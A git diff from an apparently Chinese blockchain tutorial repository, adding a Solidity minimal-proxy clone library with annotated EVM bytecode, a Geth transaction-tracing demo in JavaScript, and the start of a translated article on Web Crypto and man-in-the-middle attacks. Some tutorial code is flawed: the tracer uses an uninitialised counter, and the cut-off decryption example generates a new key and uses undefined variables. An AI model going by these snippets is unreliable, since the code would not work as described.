+  1. Introduction [https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/)
+  2. Creation vs. Runtime [https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-i-introduction-832efd2d7737/)
+  3. The Function Selector [https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iii-the-function-selector-6a9b6886ea49](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iii-the-function-selector-6a9b6886ea49)
+  4. Function Wrappers [https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iv-function-wrappers-d8e46672b0ed](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-iv-function-wrappers-d8e46672b0ed)
+  5. Function Bodies [https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-v-function-bodies-2d19d4bef8be](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-v-function-bodies-2d19d4bef8be)
+  6. The Metadata Hash [https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-vi-the-swarm-hash-70f069e22aef](https://blog.zeppelin.solutions/deconstructing-a-solidity-contract-part-vi-the-swarm-hash-70f069e22aef)
+- call opcode: https://learnblockchain.cn/article/3141
+- 轻客户端验证： https://blog.ethereum.org/2015/01/10/light-clients-proof-stake/
+- 一篇优秀的 medium: https://medium.com/@vaibhavsaini_67863
+- evm 介绍： https://www.yuque.com/docs/share/15f0bbf1-87ce-44b0-b95d-a872551a4e7f
+- solidity gas优化：https://hackmd.io/@totomanov/gas-optimization-loops
diff --git a/basic/43-EVM/sudoswap.lib.sol b/basic/43-EVM/sudoswap.lib.sol
new file mode 100644
index 000000000..874c110a2
--- /dev/null
+++ b/basic/43-EVM/sudoswap.lib.sol
@@ -0,0 +1,280 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+
+import {ERC20} from "solmate/tokens/ERC20.sol";
+
+import {ICurve} from "../bonding-curves/ICurve.sol";
+import {ILSSVMPairFactoryLike} from "../ILSSVMPairFactoryLike.sol";
+
+library LSSVMPairCloner {
+    /**
+     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
+     *
+     * This function uses the create opcode, which should never revert.
+     *
+     * During the delegate call, extra data is copied into the calldata which can then be
+     * accessed by the implementation contract.
+     */
+    function cloneETHPair(
+        address implementation,
+        ILSSVMPairFactoryLike factory,
+        ICurve bondingCurve,
+        IERC721 nft,
+        uint8 poolType
+    ) internal returns (address instance) {
+        assembly {
+            let ptr := mload(0x40)
+
+            // -------------------------------------------------------------------------------------------------------------
+            // CREATION (9 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            // creation size = 09
+            // runtime size = 72
+            // 60 runtime  | PUSH1 runtime (r)     | r                       | –
+            // 3d          | RETURNDATASIZE        | 0 r                     | –
+            // 81          | DUP2                  | r 0 r                   | –
+            // 60 creation | PUSH1 creation (c)    | c r 0 r                 | –
+            // 3d          | RETURNDATASIZE        | 0 c r 0 r               | –
+            // 39          | CODECOPY              | 0 r                     | [0-runSize): runtime code
+            // f3          | RETURN                |                         | [0-runSize): runtime code
+
+            // -------------------------------------------------------------------------------------------------------------
+            // RUNTIME (53 bytes of code + 61 bytes of extra data = 114 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            // extra data size = 3d
+            // 3d          | RETURNDATASIZE        | 0                       | –
+            // 3d          | RETURNDATASIZE        | 0 0                     | –
+            // 3d          | RETURNDATASIZE        | 0 0 0                   | –
+            // 3d          | RETURNDATASIZE        | 0 0 0 0                 | –
+            // 36          | CALLDATASIZE          | cds 0 0 0 0             | –
+            // 3d          | RETURNDATASIZE        | 0 cds 0 0 0 0           | –
+            // 3d          | RETURNDATASIZE        | 0 0 cds 0 0 0 0         | –
+            // 37          | CALLDATACOPY          | 0 0 0 0                 | [0, cds) = calldata
+            // 60 extra    | PUSH1 extra           | extra 0 0 0 0           | [0, cds) = calldata
+            // 60 0x35     | PUSH1 0x35            | 0x35 extra 0 0 0 0      | [0, cds) = calldata // 0x35 (53) is runtime size - data
+            // 36          | CALLDATASIZE          | cds 0x35 extra 0 0 0 0  | [0, cds) = calldata
+            // 39          | CODECOPY              | 0 0 0 0                 | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 36          | CALLDATASIZE          | cds 0 0 0 0             | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 60 extra    | PUSH1 extra           | extra cds 0 0 0 0       | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 01          | ADD                   | cds+extra 0 0 0 0       | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | 0 cds 0 0 0 0           | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 73 addr     | PUSH20 0x123…         | addr 0 cds 0 0 0 0      | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            mstore(
+                ptr,
+                hex"60_72_3d_81_60_09_3d_39_f3_3d_3d_3d_3d_36_3d_3d_37_60_3d_60_35_36_39_36_60_3d_01_3d_73_00_00_00"
+            )
+            mstore(add(ptr, 0x1d), shl(0x60, implementation))
+
+            // 5a          | GAS                   | gas addr 0 cds 0 0 0 0  | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // f4          | DELEGATECALL          | success 0 0             | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | rds success 0 0         | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | rds rds success 0 0     | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 93          | SWAP4                 | 0 rds success 0 rds     | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 80          | DUP1                  | 0 0 rds success 0 rds   | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3e          | RETURNDATACOPY        | success 0 rds           | [0, rds) = return data (there might be some irrelevant leftovers in memory [rds, cds+0x37) when rds < cds+0x37)
+            // 60 0x33     | PUSH1 0x33            | 0x33 sucess 0 rds       | [0, rds) = return data
+            // 57          | JUMPI                 | 0 rds                   | [0, rds) = return data
+            // fd          | REVERT                | –                       | [0, rds) = return data
+            // 5b          | JUMPDEST              | 0 rds                   | [0, rds) = return data
+            // f3          | RETURN                | –                       | [0, rds) = return data
+            mstore(
+                add(ptr, 0x31),
+                hex"5a_f4_3d_3d_93_80_3e_60_33_57_fd_5b_f3_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+
+            // -------------------------------------------------------------------------------------------------------------
+            // EXTRA DATA (61 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            mstore(add(ptr, 0x3e), shl(0x60, factory))
+            mstore(add(ptr, 0x52), shl(0x60, bondingCurve))
+            mstore(add(ptr, 0x66), shl(0x60, nft))
+            mstore8(add(ptr, 0x7a), poolType)
+
+            instance := create(0, ptr, 0x7b)
+        }
+    }
+
+    /**
+     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
+     *
+     * This function uses the create opcode, which should never revert.
+     *
+     * During the delegate call, extra data is copied into the calldata which can then be
+     * accessed by the implementation contract.
+     */
+    function cloneERC20Pair(
+        address implementation,
+        ILSSVMPairFactoryLike factory,
+        ICurve bondingCurve,
+        IERC721 nft,
+        uint8 poolType,
+        ERC20 token
+    ) internal returns (address instance) {
+        assembly {
+            let ptr := mload(0x40)
+
+            // -------------------------------------------------------------------------------------------------------------
+            // CREATION (9 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            // creation size = 09
+            // runtime size = 86
+            // 60 runtime  | PUSH1 runtime (r)     | r                       | –
+            // 3d          | RETURNDATASIZE        | 0 r                     | –
+            // 81          | DUP2                  | r 0 r                   | –
+            // 60 creation | PUSH1 creation (c)    | c r 0 r                 | –
+            // 3d          | RETURNDATASIZE        | 0 c r 0 r               | –
+            // 39          | CODECOPY              | 0 r                     | [0-runSize): runtime code
+            // f3          | RETURN                |                         | [0-runSize): runtime code
+
+            // -------------------------------------------------------------------------------------------------------------
+            // RUNTIME (53 bytes of code + 81 bytes of extra data = 134 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            // extra data size = 51
+            // 3d          | RETURNDATASIZE        | 0                       | –
+            // 3d          | RETURNDATASIZE        | 0 0                     | –
+            // 3d          | RETURNDATASIZE        | 0 0 0                   | –
+            // 3d          | RETURNDATASIZE        | 0 0 0 0                 | –
+            // 36          | CALLDATASIZE          | cds 0 0 0 0             | –
+            // 3d          | RETURNDATASIZE        | 0 cds 0 0 0 0           | –
+            // 3d          | RETURNDATASIZE        | 0 0 cds 0 0 0 0         | –
+            // 37          | CALLDATACOPY          | 0 0 0 0                 | [0, cds) = calldata
+            // 60 extra    | PUSH1 extra           | extra 0 0 0 0           | [0, cds) = calldata
+            // 60 0x35     | PUSH1 0x35            | 0x35 extra 0 0 0 0      | [0, cds) = calldata // 0x35 (53) is runtime size - data
+            // 36          | CALLDATASIZE          | cds 0x35 extra 0 0 0 0  | [0, cds) = calldata
+            // 39          | CODECOPY              | 0 0 0 0                 | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 36          | CALLDATASIZE          | cds 0 0 0 0             | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 60 extra    | PUSH1 extra           | extra cds 0 0 0 0       | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 01          | ADD                   | cds+extra 0 0 0 0       | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | 0 cds 0 0 0 0           | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 73 addr     | PUSH20 0x123…         | addr 0 cds 0 0 0 0      | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            mstore(
+                ptr,
+                hex"60_86_3d_81_60_09_3d_39_f3_3d_3d_3d_3d_36_3d_3d_37_60_51_60_35_36_39_36_60_51_01_3d_73_00_00_00"
+            )
+            mstore(add(ptr, 0x1d), shl(0x60, implementation))
+
+            // 5a          | GAS                   | gas addr 0 cds 0 0 0 0  | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // f4          | DELEGATECALL          | success 0 0             | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | rds success 0 0         | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3d          | RETURNDATASIZE        | rds rds success 0 0     | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 93          | SWAP4                 | 0 rds success 0 rds     | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 80          | DUP1                  | 0 0 rds success 0 rds   | [0, cds) = calldata, [cds, cds+0x35) = extraData
+            // 3e          | RETURNDATACOPY        | success 0 rds           | [0, rds) = return data (there might be some irrelevant leftovers in memory [rds, cds+0x37) when rds < cds+0x37)
+            // 60 0x33     | PUSH1 0x33            | 0x33 sucess 0 rds       | [0, rds) = return data
+            // 57          | JUMPI                 | 0 rds                   | [0, rds) = return data
+            // fd          | REVERT                | –                       | [0, rds) = return data
+            // 5b          | JUMPDEST              | 0 rds                   | [0, rds) = return data
+            // f3          | RETURN                | –                       | [0, rds) = return data
+            mstore(
+                add(ptr, 0x31),
+                hex"5a_f4_3d_3d_93_80_3e_60_33_57_fd_5b_f3_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+
+            // -------------------------------------------------------------------------------------------------------------
+            // EXTRA DATA (81 bytes)
+            // -------------------------------------------------------------------------------------------------------------
+
+            mstore(add(ptr, 0x3e), shl(0x60, factory))
+            mstore(add(ptr, 0x52), shl(0x60, bondingCurve))
+            mstore(add(ptr, 0x66), shl(0x60, nft))
+            mstore8(add(ptr, 0x7a), poolType)
+            mstore(add(ptr, 0x7b), shl(0x60, token))
+
+            instance := create(0, ptr, 0x8f)
+        }
+    }
+
+    /**
+     * @notice Checks if a contract is a clone of a LSSVMPairETH.
+     * @dev Only checks the runtime bytecode, does not check the extra data.
+     * @param factory the factory that deployed the clone
+     * @param implementation the LSSVMPairETH implementation contract
+     * @param query the contract to check
+     * @return result True if the contract is a clone, false otherwise
+     */
+    function isETHPairClone(
+        address factory,
+        address implementation,
+        address query
+    ) internal view returns (bool result) {
+        // solhint-disable-next-line no-inline-assembly
+        assembly {
+            let ptr := mload(0x40)
+            mstore(
+                ptr,
+                hex"3d_3d_3d_3d_36_3d_3d_37_60_3d_60_35_36_39_36_60_3d_01_3d_73_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+            mstore(add(ptr, 0x14), shl(0x60, implementation))
+            mstore(
+                add(ptr, 0x28),
+                hex"5a_f4_3d_3d_93_80_3e_60_33_57_fd_5b_f3_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+            mstore(add(ptr, 0x35), shl(0x60, factory))
+
+            // compare expected bytecode with that of the queried contract
+            let other := add(ptr, 0x49)
+            extcodecopy(query, other, 0, 0x49)
+            result := and(
+                eq(mload(ptr), mload(other)),
+                and(
+                    eq(mload(add(ptr, 0x20)), mload(add(other, 0x20))),
+                    eq(mload(add(ptr, 0x29)), mload(add(other, 0x29)))
+                )
+            )
+        }
+        // bytes memory data = abi.encodePacked(
+        //     hex"3d_3d_3d_3d_36_3d_3d_37_60_3d_60_35_36_39_36_60_3d_01_3d_73",
+        //     implementation,
+        //     hex"5a_f4_3d_3d_93_80_3e_60_33_57_fd_5b_f3",
+        //     factory);
+        // bytes memory queryData = address(query).code;
+        // return keccak256(data) == keccak256(queryData);
+    }
+
+    /**
+     * @notice Checks if a contract is a clone of a LSSVMPairERC20.
+     * @dev Only checks the runtime bytecode, does not check the extra data.
+     * @param implementation the LSSVMPairERC20 implementation contract
+     * @param query the contract to check
+     * @return result True if the contract is a clone, false otherwise
+     */
+    function isERC20PairClone(
+        address factory,
+        address implementation,
+        address query
+    ) internal view returns (bool result) {
+        // solhint-disable-next-line no-inline-assembly
+        assembly {
+            let ptr := mload(0x40)
+            mstore(
+                ptr,
+                hex"3d_3d_3d_3d_36_3d_3d_37_60_51_60_35_36_39_36_60_51_01_3d_73_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+            mstore(add(ptr, 0x14), shl(0x60, implementation))
+            mstore(
+                add(ptr, 0x28),
+                hex"5a_f4_3d_3d_93_80_3e_60_33_57_fd_5b_f3_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00"
+            )
+            mstore(add(ptr, 0x35), shl(0x60, factory))
+
+            // compare expected bytecode with that of the queried contract
+            let other := add(ptr, 0x49)
+            extcodecopy(query, other, 0, 0x49)
+            result := and(
+                eq(mload(ptr), mload(other)),
+                and(
+                    eq(mload(add(ptr, 0x20)), mload(add(other, 0x20))),
+                    eq(mload(add(ptr, 0x29)), mload(add(other, 0x29)))
+                )
+            )
+        }
+    }
+}
diff --git a/basic/43-EVM/trace-demo/.gitignore b/basic/43-EVM/trace-demo/.gitignore
new file mode 100644
index 000000000..00dad7734
--- /dev/null
+++ b/basic/43-EVM/trace-demo/.gitignore
@@ -0,0 +1,11 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+typechain-types
+
+# Hardhat files
+cache
+artifacts
+
diff --git a/basic/43-EVM/trace-demo/README.md b/basic/43-EVM/trace-demo/README.md
new file mode 100644
index 000000000..0565558bd
--- /dev/null
+++ b/basic/43-EVM/trace-demo/README.md
@@ -0,0 +1,83 @@
+
+# 前提知识
+需要了解几个常用的rpc：
+- eth_getTransactionReceipt：获取交易的执行结果，包括成功与否，gas开销，事件信息等。
+- eth_call:执行一个合约函数。它不会生成交易，仅仅是单纯的调用，而且你可以设置from，to，当前块高等环境信息来执行查看执行的结果。
+
+
+# 什么是evm traces
+eth_getTransactionReceipt无法看到内部细节，包括内部产生了哪些内部的跨合约调用，内部修改了哪些状态等。而使用EVM的trace，则可以提供到精确到opcode级别的追踪信息。
+
+# 应用
+- transaction tracers：例如etherscan，它的internal transactions功能，就无法用getTransactionReceipt来做。
+- debug交易：可以通过trace，追踪到报错的那个opcode，并且把相关的环境信息都提供出来。
+- 存储分析：可以分析出哪些存储被使用了。例如EIP-4337中bundler组件，能检测出一个erc20合约是否使用了指定地址无关的存储。
+- gas优化：可以追踪很详细的gas开销，从而找到优化瓶颈。
+- ...
+
+# API
+目前市面上有两套api，姑且称为trace api和debug api。
+- trace_api为OpenEthereum/Erigon提供的接口。
+- debug_api为Geth提供的接口。
+- 它们的功能相近。
+- alchemy这样的服务，通常会支持两套接口，内部会进行路由处理。
+
+这里面，debug族的api，有两个比较重要的：
+- debug_traceCall：执行一个合约函数，但不生成交易。同时，根据传入的tracer，返回追踪结果。相当于给eth_call增加了trace功能。
+- debug_traceTransaction：传入交易hash和tracer，该rpc会重放这个交易，并将执行结果返回。
+
+在[目录](./demo/src/main.js)中，提供了这两个rpc的使用例子。下面例子中，使用debug_transaction，重放一笔交易，并且给出哪个地址的哪些存储槽位被使用了:
+
+```
+    const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_POINT);
+    const tx = "0x867967c8a883daa070fdeafebc571b756bb60b45561962438026124bbd8920bf";
+    const resp = await provider.send("debug_traceTransaction",[
+        tx,
+        {tracer: "prestateTracer"}
+    ])
+    console.log(resp);
+```
+
+# 支持debug接口的节点
+目前市面上，像alchemy，chainstack这些平台提供的接入节点，并不会开放trace接口，如果想使用trace功能，收费相当昂贵。大家也可以去以太坊网络上找寻各个全节点碰碰运气，找到免费且开放的debug rpc节点。
+
+# tracer
+根据tracer的类型，可以分为两种：内置tracer和自定义tracer。
+
+内置tracer，比较常见的包括：
+- callTracer：获取调用树，它们会追踪call，create等指令。
+- prestateTracer：获取被修改的内存。
+
+自定义tracer用于提供自定义的trace逻辑。用户既可以用go开发，也可以用javascript开发。
+
+以用javascript开发为例，需要实现如下几个比较重要的接口：
+- step：每一个opcode的执行时被触发
+- result：返回trace的结果
+- enter：进入call、create、selfdestruct
+- exit：离开call、create、selfdestruct
+- fault：opcode报错时被触发
+
+这些接口还有对应的参数，包括了当前执行的环境，还有提供访问账户信息的能力。其中比较重要的参数：
+- log:包括执行环境。
+    - log.op: 当前的opcode
+    - log.contract：当前的contract
+    - log.memory：当前的内存
+    - log.slack：当前的栈
+- db:用于获取状态数据。
+    - getBalance(address): 获取余额
+    - getNonce(address)：获取账户nonce值
+    - ...
+
+具体的定义可以参考[Custom Tracers](https://geth.ethereum.org/docs/developers/evm-tracing/custom-tracer)。
+
+实现后，需要把tracer的代码文本塞入到debugXXX api中的tracer字段，传入到以太坊节点，
+
+在[示例](./demo/src/my_tracer.js)中，实现了一个简单的tracer，它追踪sstore指令的调用次数，并在[目录](./demo/src/main.js)的traceTransactionCustomTx函数被接入。
+
+
+# 参考资料
+- [EVM Traces Introduction](https://docs.alchemy.com/reference/what-are-evm-traces)
+- [Trace_call vs Debug_tracecall](https://docs.alchemy.com/reference/trace_call-vs-debug_tracecall)
+- [Built-in Tracers](https://geth.ethereum.org/docs/developers/evm-tracing/built-in-tracers)
+- [Custom Tracers](https://geth.ethereum.org/docs/developers/evm-tracing/custom-tracer)
+- [Geth Js Tracers](https://github.com/ethereum/go-ethereum/tree/master/eth/tracers/js/internal/tracers)
diff --git a/basic/43-EVM/trace-demo/package.json b/basic/43-EVM/trace-demo/package.json
new file mode 100644
index 000000000..ebfe21507
--- /dev/null
+++ b/basic/43-EVM/trace-demo/package.json
@@ -0,0 +1,10 @@
+{
+  "name": "debugTraceCall",
+  "version": "1.0.0",
+  "main": "index.js",
+  "license": "MIT",
+  "dependencies": {
+    "dotenv": "^16.0.3",
+    "ethers": "^5.7.2"
+  }
+}
diff --git a/basic/43-EVM/trace-demo/src/main.js b/basic/43-EVM/trace-demo/src/main.js
new file mode 100644
index 000000000..3300a4999
--- /dev/null
+++ b/basic/43-EVM/trace-demo/src/main.js
@@ -0,0 +1,66 @@
+const {ethers} = require('ethers');
+const BigNumber = ethers.BigNumber;
+require('dotenv').config();
+const {createTracer} = require("./my_tracer");
+
+async function traceCall() {
+    const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_POINT);
+    //模拟执行一笔ERC20的转账
+    //交易见https://etherscan.io/tx/0x867967c8a883daa070fdeafebc571b756bb60b45561962438026124bbd8920bf
+
+    const args =     [
+        //https://www.quicknode.com/docs/ethereum/eth_call
+        {
+        "from":"0x4fec0c5711acaf31c68fc1655b9551bbd816f638",
+        "to":"0x6b175474e89094c44da98b954eedeac495271d0f",
+        "gas":BigNumber.from("35065").toHexString(),
+        gasprice: "0x38dab496f",
+        "data":"0xa9059cbb0000000000000000000000008eb871bbb6f754a04bca23881a7d25a30aad3f2300000000000000000000000000000000000000000000000ad78ebc5ac6200000"
+        },
+        BigNumber.from("16454667").toHexString(),//should be mined block - 1
+        {tracer: "trigramTracer",diffMode: false}
+    ];
+    const response = await provider.send("debug_traceCall",args);
+    console.log(response);
+}
+
+async function traceTransaction() {
+    const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_POINT);
+    const resp = await provider.send("debug_traceTransaction",[
+        "0x867967c8a883daa070fdeafebc571b756bb60b45561962438026124bbd8920bf",
+        {tracer: "prestateTracer"}
+    ])
+    console.log(resp);
+}
+
+async function traceTransactionCustomTx() {
+    const tracerBody = getTracerBodyString(createTracer);
+
+    const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_POINT);
+    const resp = await provider.send("debug_traceTransaction",[
+        "0x867967c8a883daa070fdeafebc571b756bb60b45561962438026124bbd8920bf",
+        {tracer: tracerBody,
+        tracerConfig: {targetOpcode: 666}
+        }
+    ])
+    console.log(resp);
+}
+
+
+function getTracerBodyString (func) {
+    const tracerFunc = func.toString()
+    // function must return a plain object:
+    //  function xyz() { return {...}; }
+    const regexp = /function \w+\s*\(\s*\)\s*{\s*return\s*(\{[\s\S]+\});?\s*\}\s*$/ // (\{[\s\S]+\}); \} $/
+    const match = tracerFunc.match(regexp)
+    if (match == null) {
+      throw new Error('Not a simple method returning value')
+    }
+    return match[1]
+  }
+
+  traceTransaction();
+
+
+
+//矿工
\ No newline at end of file
diff --git a/basic/43-EVM/trace-demo/src/my_tracer.js b/basic/43-EVM/trace-demo/src/my_tracer.js
new file mode 100644
index 000000000..a6061b3c2
--- /dev/null
+++ b/basic/43-EVM/trace-demo/src/my_tracer.js
@@ -0,0 +1,34 @@
+
+//返回一个tracer，其例子用于追踪指sstore的数目
+function createTracer() {
+    return {
+        opCount:0,
+        //每一步opcode的执行都出现。
+        step(log, db) {
+            if (log.op.toString() == 'SSTORE'){
+                this.opCount++;
+            }
+        },
+        //返回tracer结果，最终作为traceXXX的输出
+        result(ctx, db) {
+            return {"count": this.opCount}
+        },
+        //报错时调用
+        fault(log, db) {
+            
+        },
+        //进入一个callframe，在内部调用时出现，包括call，create，selfdestruct等
+        enter(callFrame) {
+            this.callCount++;
+        },
+        //退出一个callframe
+        exit(frameResult) {
+        
+        }
+    }
+}
+
+
+module.exports = {
+    createTracer
+}
\ No newline at end of file
diff --git a/basic/44-javascript-cryptography/Doc-Chinese.md b/basic/44-javascript-cryptography/Doc-Chinese.md
new file mode 100644
index 000000000..50321e250
--- /dev/null
+++ b/basic/44-javascript-cryptography/Doc-Chinese.md
@@ -0,0 +1,404 @@
+##  JavaScript 的工作原理：密码学 + 如何应对中间人 (MITM) 攻击  
+网络安全是 IT 领域的一个重要领域。每天都有来自世界各地的许多人通过互联网相互交流。当人们通过互联网进行交流时，其他人有可能在信息到达相关方之前窃听甚至劫持信息。此外，黑客可能会利用计算机网络中的漏洞窃取用户的个人数据。
+
+那么人们如何通过互联网安全地发送信息以及 JavaScript 在其中扮演了什么角色？如果你很想知道，那么这篇文章就是为你准备的。
+
+在本文中，您将了解什么是密码学、它在 JavaScript 中的工作原理以及它如何应对中间人攻击 (MitM)。
+
+## 密码学导论
+密码学意指保护信息和通信的过程，以便只有发送方和预期的接收方可以访问它们。密码学使用了很多技术来确保护通信过程的安全。这些技术包括基于密码的加密和解密、使用各种算法对通信过程进行Hash计算以及签名生成和验证。
+
+由于很多移动应用在互联网上通信中使用了 JavaScript 相关技术, 因此需要了解在 JavaScript 中密码学是如何工作的。接下来的章节，我们将讨论下 JavaScript 的 Web Cryptography API 以及它如何支持加密。
+
+## JavaScript 的 Web 加密 API
+由于确保通过 Internet 进行安全通信很重要，因此一些 Web 浏览器已经实现了[crypto](https://developer.mozilla.org/en-US/docs/Web/API/Crypto)接口。但是，此接口定义不明确或密码学上不健全。JavaScript 的 Web 加密 API 提供了一个定义良好的接口，称为[SubtleCrypto](https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto)
+
+JavaScript 的网络加密 API 允许开发人员将基本的加密功能合并到他们的应用程序中，而无需第三方库。您可以签署文档、执行身份验证并执行通信的整体完整性检查。
+
+例如，您可以通过运行以下代码来获取 8 位无符号整数数组的加密安全随机数据：
+
+    const secure = window.crypto.getRandomValues(new Uint8Array(10));
+    console.log(secure);
+
+您可以在 Web 控制台上运行此代码。例如，如果我在 Chrome 的控制台上运行此代码，我将得到 10 个 8 位随机生成的无符号数字的输出。
+
+![](https://miro.medium.com/max/598/0*QbI-hozmSVibF6DW)
+
+我们可以看下 JavaScript 的网络加密 API 是如何工作的，以及我们如何从我们的网络控制台中实现这一点。
+
+使用 JavaScript 的网络加密 API，服务器端是无法看到数据的，因为它是加密安全的。只有发送方和接收方可以访问通信数据。
+
+![](https://miro.medium.com/max/700/0*EoQo41lZY6_RXAii)
+
+从上图中，您可以看到来自发件人的数据是使用 API 加密的。接收方使用密钥解密数据，服务器和数据库无法解密加密数据。您可以做一些基本的加密操作，例如散列、签名生成和验证、加密和解密，本文将进一步讨论这些操作。
+
+## 基本密码功能
+你可以使用 JavaScript 的 Web 加密 API 执行许多加密功能。在本节中，我们将研究基本的加密函数，如散列、签名生成和验证、加密和解密。
+
+### 加密
+加密是基本的密码功能之一。在加密中，人类语言（明文）的消息通过密钥转换为计算机语言（密文）。为了让接收者理解来自发送者的消息，他们必须使用密钥。
+
+![](https://miro.medium.com/max/576/0*g6rpKt5YynDCQ5n3)
+
+JavaScript 的 Web 加密 API 中的加密过程使用 encrypt 方法。该encrypt方法具有以下语法：
+
+    //Syntax for encrypt function
+    const result = crypto.subtle.encrypt(algorithm, key, data);
+
+encrypt 方法将返回以一个 [Promise](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) , 其中包含“密文”的数组。如果在加密过程中发生错误，最好返回一个新的 Promise。为了更好地理解这一点，我们将使用密钥和算法加密纯文本。在您的 Web 浏览器中复制以下代码并注意输出的是加密文本。
+
+    /*The function strToArrayBuffer converts string to fixed-length raw binary data buffer because 
+    encrypt method must return a Promise that fulfills with an ArrayBuffer containing the "ciphertext"*/
+    function strToArrayBuffer(str) {
+        var buf = new ArrayBuffer(str.length * 2);
+        var bufView = new Uint16Array(buf);
+        for (var i = 0, strLen = str.length; i < strLen; i++) {
+            bufView[i] = str.charCodeAt(i);
+        }
+        return buf;
+    }
+    //The function arrayBufferToString converts fixed-length raw binary data buffer to 16-bit unsigned String as our plaintext
+    function arrayBufferToString(buf) {
+        return String.fromCharCode.apply(null, new Uint16Array(buf));
+    }
+    //This object below will generate our algorithm key
+    var algoKeyGen = {
+        name: "AES-GCM",
+        length: 256,
+    };
+    //This will generate random values of 8-bit unsigned integer
+    var iv = window.crypto.getRandomValues(new Uint8Array(12));
+    //This object will generate our encryption algorithm
+    var algoEncrypt = {
+        name: "AES-GCM",
+        iv: iv,
+        tagLength: 128,
+    };
+    //states that key usage is for encryption
+    var keyUsages = ["encrypt"];
+    var plainText = "This is a secure message from Mary";
+    var secretKey;
+    //This generates our secret Key with key generation algorithm
+    window.crypto.subtle
+        .generateKey(algoKeyGen, false, keyUsages)
+        .then(function (key) {
+            secretKey = key;
+        //Encrypt plaintext with key and algorithm converting the plaintext to ArrayBuffer
+            return window.crypto.subtle.encrypt(
+            algoEncrypt,
+            key,
+            strToArrayBuffer(plainText)
+        );
+    })
+    .then(function (cipherText) {
+    //print out Ciphertext in console
+        console.log("Cipher Text: " + arrayBufferToString(cipherText));
+    })
+    .catch(function (err) {
+        console.log("Error: " + err.message);
+    });
+    
+![](https://miro.medium.com/max/570/0*bIg_WMaJvjHWSc5J)
+
+
+从代码来看，
+
+    var algoKeyGen = { name: ‘AES-GCM’, length: 256};
+
+指定了密钥，而
+
+    var algoEncrypt = { name: ‘AES-GCM’, iv: iv, tagLength: 128};
+
+指定了算法。函数 strToArrayBuffer 将字符串转换为二进制数组，因为Promise的ciphertext参数接受的是二进制数组。
+
+
+### 解密
+解密是加密的逆过程。在解密中，密文被转换回纯文本。基于此，来自授权用户的密钥是需要的。这就像试图用钥匙进入有所的房间一样。不会因为你有几把钥匙就被允许进入大楼。您被允许进入的唯一方法是钥匙是否匹配。
+
+JavaScript 的 Web 加密 API 中的解密过程使用 decrypt 方法。下面是解密语法。
+
+    //syntax for decrypting ciphertext
+    const result = crypto.subtle.decrypt(algorithm, key, data);
+
+因此，我们示例密文的解密语法如下所示。
+
+    //This states that the keyusage for decrypting
+    var keyUsages = ["decrypt"];
+    //This object below is for algorithm key generation
+    var algoKeyGen = {
+        name: "AES-GCM",
+        length: 256,
+    };
+    var plainText = "This is a secure message from Mary";
+    var secretKey;
+    //This will generate secrete key with algorithm key and keyusage
+    window.crypto.subtle
+        .generateKey(algoKeyGen, false, keyUsages)
+        .then(function (key) {
+            secretKey = key;
+            //This will decrypt Cipheretext to plaintext
+            return window.crypto.subtle.decrypt(algoEncrypt, secretKey, cipherText);
